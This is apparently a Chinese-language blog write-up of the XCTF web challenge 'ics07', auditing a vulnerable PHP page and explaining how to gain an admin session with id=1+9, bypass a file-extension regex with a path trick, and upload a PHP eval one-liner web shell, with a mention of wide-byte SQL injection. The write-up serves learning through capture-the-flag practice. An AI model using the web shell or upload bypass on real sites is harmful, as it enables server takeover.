xctf-web-ics07


瞎分析

感觉就是道php代码审计+文件上传题目
(可能有错,请各位哥哥姐姐们指点指点)


过程

代码如下(示例):

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>

这里分三个部分去看

第一部分

在这里插入图片描述
这里好像没啥

第二部分

在这里插入图片描述
这里关键
session=admin才执行下面
con是文件内容
file是文件名字
然后就是对于一些正则绕过文件过滤
这里先分析过程。做法下面说
然后通过
preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, $filename)
放到uploaded/backup下

第三部分

在这里插入图片描述
这里需要
isset($ _ GET [id])不为空

floatval($ _ GET [id])!==‘1’ //浮点不为1

substr($ _ GET [id],-1)==='9‘ //id最后一位为9

具体参考
函数学习
链接: isset.
链接: floatval.
链接: substr.

实验步骤

首先
如何使得
$_SESSION[‘admin’]==true

浮点数!==‘1’,而且id最后一位是9。
我用的是id=1+9
1+9 1-9 1/9 1,9好像都可以
构建playload
在这里插入图片描述

第二步
一、文件绕过
backup是假目录需要用…/绕过
其实文件是放在uplaoded/backup下的
…/是用来定位在当前目录的父目录
二、正则过滤
preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, $filename)
这里说传入的数据文件的后缀名不能为
php、php3、php4、php5、php7、pht、phtml
post的方式传输
正则过滤只过滤最后一个点的后缀名
那么我们可以写多一个.php就可以逃过了


只要id=1+9或者前面说的之类就能session=admin
此时的url=111.200.241.244:30685/index.php?page=flag.php&id=1+9
这里构建playload
以post方式传输
con=<?php @eval($_POST[cmd]);?>&file=haha.php/haha.php/…
在这里插入图片描述
再回到
111.200.241.244:30685/uploaded/backup
就能看见你所生成的文件然后用菜刀连接就可以了
在这里插入图片描述

最后一些其他

这个有意思的函数我也在书中找到他的用法
具体直接看图emmm
mysql_real_escape_string的作用以及一些绕过方法
参考链接
https://www.cnblogs.com/jylf/archive/2014/03/19/3611489.html

在这里插入图片描述
听大佬说可以用宽字节注入绕过但是前提是数据库是GBK编码
在这里插入图片描述

总结

这次是一道php代码审计题,再加一点文件上传和正则过滤的熟悉过程。真不错可以学到做题来学习到php。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值